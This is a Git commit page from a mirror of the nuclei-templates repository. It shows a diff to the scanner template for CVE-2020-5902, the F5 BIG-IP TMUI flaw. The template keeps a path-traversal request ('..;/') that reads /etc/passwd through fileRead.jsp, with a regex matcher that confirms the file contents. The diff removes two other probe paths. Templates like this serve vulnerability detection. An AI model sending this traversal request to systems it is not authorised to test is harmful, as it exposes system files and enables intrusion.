daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #194 from Mad-robot/master 

Update CVE-2020-5902.yaml
patch-1
bauthard 2020-07-05 21:50:21 +05:30 committed by GitHub
parent a06dbcecf2 0fe4c5ee3d
commit 22c21c3b4a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 9 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

9
cves/CVE-2020-5902.yaml
View File

@ -8,21 +8,12 @@ info:
requests: requests:
- method: GET - method: GET
path: path:
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa"
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp"
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: status - type: status
status: status:
- 200 - 200
- type: word
words:
- "jaffa"
- "Tabset"
- "success"
condition: and
part: body
- type: regex - type: regex
regex: regex:
- "root:[x*]:0:0:" - "root:[x*]:0:0:"